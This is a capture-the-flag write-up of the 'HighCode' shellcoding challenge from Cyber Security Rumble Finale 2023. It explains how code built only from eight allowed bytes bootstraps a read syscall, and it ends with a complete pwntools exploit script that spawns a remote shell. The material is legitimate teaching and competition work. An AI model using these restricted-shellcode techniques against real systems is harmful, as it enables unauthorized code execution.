HighCode - Cyber Security Rumble Finale 2023

Author: LevitatingLion

Category: shellcoding, pwn

Solves: 1

Points: 500+500

Prove that you are shellcoding royalty by only using these chosen high bytes!

Challenge

For this challenge we got a python script which would accept, check and finally execute our shellcode. The goal of this challenge was to write shellocode which satifies the given constraints and executes a shell.

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86#!/usr/bin/env python

import os
import struct
from binascii import unhexlify, hexlify

allowed = [
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
    1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
]
assert len(allowed) == 256


def main():
    print("Input your shellcode hex-encoded, followed by END", flush=True)

    # Read in code
    code = ""
    while True:
        line = input()
        # Break at end
        if line == "END":
             break
         code += line
     code = unhexlify(code)

     # Check bytes
     assert len(code) < 0x10000
     assert all(allowed[b] for b in code)

     # Execute code
     print(f"Executing code: {hexlify(b'X'+code)}", flush=True)
     execute_shellcode(b"X" + code)


def execute_shellcode(code):
    # Align code to multiple of page size
    if len(code) % 0x1000:
        code += b"\xd0" * (0x1000 - (len(code) % 0x1000))

    # Build ELF file in memory
    elf = b""

    # ELF header
    elf += b"\x7fELF\x02\x01\x01\x03\0\0\0\0\0\0\0\0\x02\0\x3e\0\x01\0\0\0\0\0"
    elf += b"\x10\0\0\0\0\0\x40\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x40\0\x38"
    elf += b"\0\x01\0\0\0\0\0\0\0"

    # Program header
    elf += b"\x01\0\0\0\x07\0\0\0\0\x10\0\0\0\0\0\0\0\0\x10\0\0\0\0\0\0\0\x10\0\0\0\0\0"
    elf += struct.pack("<Q", len(code))
    elf += b"\0\0\x01\0\0\0\0\0\0\x10\0\0\0\0\0\0"

    # Pad to whole page
    elf = elf.ljust(0x1000, b"\0")

    # Shellcode
    elf += code

   # Put ELF into memfd
   memfd = os.memfd_create("sc")
   f = os.fdopen(memfd, mode="wb")
   f.write(elf)
   f.flush()

   # Execute memfd
   os.execve(memfd, ["sc"], {})
   print("execve failed!", flush=True)


if __name__ == "__main__":
    main()

This was basically the whole challenge.

Setup

We also got a Dockerfile which would spawn us the correct environment.

The general flow of the program is as follows:

We send our shellcode hex-encoded to the socket
The script checks if all given bytes are "allowed" bytes
If so the shellcode gets padded with \xd0 to a page
Then an ELF gets constructed with our shellcode at the end
The ELF gets loaded into memory and then executed

Our shellcode gets a X prepended to it, which corresponds to a pop rax instruction. At the start of the binary all registers are set to 0 and the first value on the stack is the argument count, so 1 in our case, thus we get our rax set to 1 for free.

Constraints

We can find the two constraints in the main function:

python
1
2
3    # Check bytes
    assert len(code) < 0x10000
    assert all(allowed[b] for b in code)

The first constraint just checks that the code is not longer than 0x10000 bytes. This should be fairly easy to fulfill. The second constraint checks whether all bytes in the shellcode are "true" or not. The thruthiness of a byte gets defined in the allowed array:

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19allowed = [
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
    1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
]
assert len(allowed) == 256

A byte is "true" if the byte has a 1 in the array. We can see that this is true for bytes \xc8, \xd0, \xd1, \xd2, \xd3, \xd5, \xd6 and \xd7. Thus our shellcode is limited to these eight bytes.

Goal

The general plan to exploit the challenge is the following:

Find a way to break out of the "allowed" bytes and write arbitrary bytes
Be able to write four arbitrary bytes, which execute xor eax, eax; syscall
Write normal shellcode
Profit

Solution

Initial discovery

To start out we wanted to see which instruction we can actually perform with these bytes. So we wrote a small script which would iterate over all possible combinations of our eight bytes, for up to seven bytes long.

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26from iced_x86 import *
from itertools import product

allowed = [ 0xc8, 0xd0, 0xd1, 0xd2, 0xd3, 0xd5, 0xd6, 0xd7 ]
possible = dict()
formatter = Formatter(FormatterSyntax.NASM)


def disas(b):
    decoder = Decoder(64, b)
    for instr in decoder:
        start_index = instr.ip
        disasm = formatter.format(instr)
        bytes_str = b[start_index:start_index + instr.len].hex()
        if bytes_str not in possible and "(bad)" not in disasm:
            possible[bytes_str] = disasm.lower()


for length in range(1, 8):
    for b in product(allowed, repeat=length):
        b = bytearray(b)
        disas(b)


for b in sorted(possible.keys(), key=lambda x: len(x)):
    print(f"{b}:{' '*(15-len(b))}{possible[b]}")

I chose iced as my assembler. I had problems with capstone in the past were it was sometimes not working correctly for me by either claiming instructions don't exist or giving me wrong output. pwntools would've been another option but it writes the assembly into a file and assembles it with as, which is pretty slow for what we want to do.

With this script we generated the following instructions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39d7:             xlatb
d0c8:           ror al,1
d0d0:           rcl al,1
d0d1:           rcl cl,1
d0d2:           rcl dl,1
d0d3:           rcl bl,1
d0d5:           rcl ch,1
d0d6:           rcl dh,1
d0d7:           rcl bh,1
d1c8:           ror eax,1
d1d0:           rcl eax,1
d1d1:           rcl ecx,1
d1d2:           rcl edx,1
d1d3:           rcl ebx,1
d1d5:           rcl ebp,1
d1d6:           rcl esi,1
d1d7:           rcl edi,1
d2c8:           ror al,cl
d2d0:           rcl al,cl
d2d1:           rcl cl,cl
d2d2:           rcl dl,cl
d2d3:           rcl bl,cl
d2d5:           rcl ch,cl
d2d6:           rcl dh,cl
d2d7:           rcl bh,cl
d3c8:           ror eax,cl
d3d0:           rcl eax,cl
d3d1:           rcl ecx,cl
d3d2:           rcl edx,cl
d3d3:           rcl ebx,cl
d3d5:           rcl ebp,cl
d3d6:           rcl esi,cl
d3d7:           rcl edi,cl
c8c8c8c8:       enter 0c8c8h,0c8h
c8c8c8d0:       enter 0c8c8h,0d0h
c8c8c8d1:       enter 0c8c8h,0d1h
c8c8c8d2:       enter 0c8c8h,0d2h
c8c8c8d3:       enter 0c8c8h,0d3h
...

We only have enter, xlatb and a bunch of rotates to go with. More crucially we don't have any memory writes, just register manipulation (and an rbx relative read of one byte with xlatb).

To know what these instructions do we can visit the holy bible of x86 instructions (or coder64).

`xlatb` (Table Look-up Translation)

Locates a byte entry in a table in memory, using the contents of the AL register as a table index, then copies the contents of the table entry back into the AL register.

Felix Cloutier

This means essentially AL := (RBX + ZeroExtend(AL));.

`enter` (Make Stack Frame for Procedure Parameters)

Creates a stack frame (comprising of space for dynamic storage and 1-32 frame pointer storage) for a procedure. The first operand (imm16) specifies the size of the dynamic storage in the stack frame (that is, the number of bytes of dynamically allocated on the stack for the procedure). The second operand (imm8) gives the lexical nesting level (0 to 31) of the procedure. The nesting level (imm8 mod 32) and the OperandSize attribute determine the size in bytes of the storage space for frame pointers.

Felix Cloutier

This instruction is a bit more involved but it can be seen as an opposite of the leave instruction. What the instruction exactly does (at least in a 64-bit context) is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21AllocSize := imm16;
NestingLevel := imm8 MOD 32;

Push(RBP); /* RSP decrements by 8 */
FrameTemp := RSP;

IF NestingLevel = 0
    THEN GOTO CONTINUE;
FI;
IF (NestingLevel > 1)
    THEN FOR i := 1 to (NestingLevel - 1)
        DO
            RBP := RBP - 8;
            Push([RBP]); /* Quadword push */
    OD;
FI;
Push(FrameTemp); /* Quadword push and RSP decrements by 8 */

CONTINUE:
RBP := FrameTemp;
RSP := RSP − AllocSize;

`ror` (Rotate right)

A rotate is a binary operation, with shifts a value by a given amount and any bit which get shifted out, will be appended on the other side. In this case if we consider the byte 0b01010101 and we rotate it to the right by one, the last 1 would get shifted out and then appended to the top of the byte again. This gets us the value 0b10101010. One important note for this challenge is that if the value which got rotated out was non-zero, the carry flag will be set.

`rcl` (Rotate left with carry)

rcl works similarly to ror, just that it rotates in the other direction and the bit rotated out gets stored in the carry flag, while the bit in the carry flag gets appended to the value. Let's consider the byte 0b10101010 and assume the carry flag is set to 0. If we now rotate the byte to the left twice we get the following:

byte: 0b10101010, CF: 0
byte: 0b01010100, CF: 1
byte: 0b10101001, CF: 0

So after we executed the rcl twice on 0b10101010 with a 0 in the carry bit we get 0b10101001 and the carry bit still being 0.

Arbitrary values in registers

So far the enter instruction doesn't do much for us and because we can't change the values in our registers xlatb also has no use. We can only really use the rotate instructions. Because rax is set to 1 at the start, we can use the rax register and the clever use of shifting to set all registers to arbitrary values. All we have to do is to rotate the target register by one to the left and whenever we want to have a 1 in the register we have to put a 1 into the carry bit before the shift. This can be achieved by "overrotating" the rax register.

python
1
2
3
4
5
6
7
8
9def set_ebx(value):
    payload = b''
    for x in bin(value)[2:]:
        if x == '1':
            # We want a 1 so set the carry bit to 1
            payload += ROR_AL_1
            payload += RCL_AL_1
        payload += RCL_EBX_1
    return payload

This function sets ebx to any value we want to. ecx, edx, ebp and esi can be set the same way, only eax is a bit different.

python
1
2
3
4
5
6
7
8
9def set_eax(value):
    payload = b''
    ones = bin(value).count('1') - 1
    payload += set_edx((2**ones - 1) << (32 - ones))
    for x in bin(value)[3:]:
        if x == '1':
            payload += RCL_EDX_1
        payload += RCL_EAX_1
    return payload

`enter` nullbytes

We can still not really do much memory wise though which is a slight problem. The next epiphany we had, was that while our code gets padded to a page, the ELF reserves memory for ten pages. By default these bytes are not \xd0 but \x00. This means we can also make use of exactly one instruction which ends in an arbitrary amount of nullbytes and then we are forced to execute add [rax], al until we crash (or don't crash wink wink). We changed the instruction search script to pad all combinations of up to three of our constraint bytes with nullbytes. This gave us some more instructions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15000000:     add [rax],al
d00000:     rol byte [rax],1
d10000:     rol dword [rax],1
d20000:     rol byte [rax],cl
d30000:     rol dword [rax],cl
c800000000: enter 0,0
c8c8000000: enter 0c8h,0
c8d0000000: enter 0d0h,0
c8d1000000: enter 0d1h,0
c8d2000000: enter 0d2h,0
c8d3000000: enter 0d3h,0
c8d5000000: enter 0d5h,0
c8d6000000: enter 0d6h,0
c8d7000000: enter 0d7h,0
...

Initially we were most excited about the rotate of memory bytes, but this was a mistake which costed us multiple hours of searching and trying.

Note: We also found out why it is very important to know how gdb does breakpoints when debugging self modifying code, as we were rotating \xcc around a whole bunch, wich is the interrupt inserted by gdb for breakpoints.

The correct instruction here is the enter 0, 0. If we remember back to what this instruction does and consider the allocsize and nestinglevel to be zero we get the following instruction:

1
2
3
4Push(RBP);
FrameTemp := RSP;
RBP := FrameTemp;
RSP := RSP;

Because we control rbp we can push an arbitrary value onto the stack. But what do we do then, we only execute add [rax], al afterwards?

The (almost not really) crypto part (aka. math)

What does add [rax], al actually do? We take the value in rax, use that as an address to a byte and repeatedly add the lowest byte of the address to it. With this we can essentially write a single arbitrary byte somewhere into the instruction stream. We only have to find an address A where, if we want to write byte B, we have to fulfill $(\frac{A - current address}{2} \cdot (A mod 256)) mod 256 = B$

One arbitrary byte

Now we can do the instruction search once more and list the assembly of any byte surrounded by any number of nullbytes. This yields about 260 different instruction, out of which we only care for about 190, because these are memory operations. When looking through all these, we can find the instruction \x8f\x00 which is a pop qword [rax] instruction.

The pop is very convenient, because we can put any four byte value we want onto the stack with the enter instruction as explained earlier. But because rax already points to the pop instruction (because of the add [rax], al constraint) we lose two of the four bytes we pushed onto the stack. Which is sad, four bytes would've gotten us a shell, but two is better than one.

Two arbitrary bytes

For the last time we get to execute our search script and look through the endless variation of many different instructions :) This time we are looking for two arbitrary bytes surrounded by any number of nullbytes. After waiting a bit we got 65765 instructions out of which 49250 were memory instructions ... uff ... Luckily we can constrain our search a bit. We are looking for an instruction which uses registers we haven't used yet and somehow writes four bytes into memory. So we found \x89\x0b, which is mov qword ptr [rbx], ecx. We haven't used either rbx or ecx and we can write four bytes of memory.

Actual shellcode

Now we can write \x31\xc0\x0f\x05 into the instruction stream, which is the xor eax, eax; syscall that will help us getting a shell. 0 in eax is the read syscall. A quick look into our favorite syscall table tells us that rdi is the file descriptor to read from, rsi the pointer to the buffer to read to and rdx the amount to read. We haven't used rdi, rsi and rdx yet, so we are good to go.

Getting a shell

If we set rsi to the address after the mov instruction, we simply write arbitrary bytes into the instruction stream. To get a shell we can simply use pwntools to generate shellcode for us. This gives us a shell and we can read out the flag.

Conclusion

This was a very tricky and interesting challenge which took us about 14 hours to solve. We were the only ones to solve this challenge, which was very rewarding.

We also had a short talk with the author of this challenge and found out, that our solution was much simpler than the intended one :D

Overall I'm very happy with this challenge. Thanks go out to LevitatingLion for this challenge and the RedRocket team for the CSR finale <3

Script

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host high-code.rumble.host --port 4142 ./high_code.py
from pwn import *
from binascii import hexlify
from time import sleep

# Set up pwntools for the correct architecture
context.update(arch='amd64')
exe = './high_code.py'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'high-code.rumble.host'
port = int(args.PORT or 4142)


def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, env={}, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)


def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)


# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

EAX = 0
EBX = 0
ECX = 0
EDX = 0


ROR_AL_1  = b'\xd0\xc8'
RCL_AL_1  = b'\xd0\xd0'
RCL_CL_1  = b'\xd0\xd1'
RCL_DL_1  = b'\xd0\xd6'
RCL_EAX_1 = b'\xd1\xd0'
RCL_EBX_1 = b'\xd1\xd3'
RCL_ECX_1 = b'\xd1\xd1'
RCL_EDX_1 = b'\xd1\xd2'
RCL_EBP_1 = b'\xd1\xd5'
RCL_ESI_1 = b'\xd1\xd6'

io = start()

def set_ebx(value):
    payload = b''
    for x in bin(value)[2:]:
        if x == '1':
            payload += ROR_AL_1
            payload += RCL_AL_1
        payload += RCL_EBX_1
    return payload


def set_ecx(value):
    payload = b''
    for x in bin(value)[2:]:
        if x == '1':
            payload += ROR_AL_1
            payload += RCL_AL_1
        payload += RCL_ECX_1
    return payload


def set_edx(value):
    payload = b''
    for x in bin(value)[2:]:
        if x == '1':
            payload += ROR_AL_1
            payload += RCL_AL_1
        payload += RCL_EDX_1
    return payload


def set_esi(value):
    payload = b''
    for x in bin(value)[2:]:
        if x == '1':
            payload += ROR_AL_1
            payload += RCL_AL_1
        payload += RCL_ESI_1
    return payload


def set_ebp(value):
    payload = b''
    for x in bin(value)[2:]:
        if x == '1':
            payload += ROR_AL_1
            payload += RCL_AL_1
        payload += RCL_EBP_1
    return payload


def set_eax(value):
    payload = b''
    ones = bin(value).count('1') - 1
    payload += set_edx((2**ones - 1) << (32 - ones))
    for x in bin(value)[3:]:
        if x == '1':
            payload += RCL_EDX_1
        payload += RCL_EAX_1
    return payload

# Build payload
payload  = b""
payload += set_ecx(0x050fc031) # xor eax, eax; syscall
payload += set_ebp(0x0b890000) # mov qword ptr [rbx], ecx
payload += set_esi(0x1010e9)   # start address of the actual shellcode
payload += set_ebx(0x1010e5)   # address of where to put the xor; syscall
payload += set_eax(0x1010e1)   # address where we get \x8f after repeated adding
payload += set_edx(0x1000)     # count for the read syscall
p = (len(payload) % 0x1000 / 0x1000) * 100

print(f"{hex(len(payload))} bytes used ({p:.02f}% of current page used)")

payload  = payload.ljust(0xffe, b'\xd2')
payload += b'\xc8'

assert len(payload) < 0x10000

log.info("Sending the shellcode to execute a read")
io.sendlineafter(b"END\n", hexlify(payload))
io.sendline(b"END")
io.recvline()

log.info("Sending the actual shellcode")
io.send(asm(shellcraft.sh()))

sleep(.1)
io.sendline(b"id")
if "uid" not in io.recvline().decode():
    log.error("Shellcode did not work :(")

log.success("Shellcode worked :)")
io.interactive()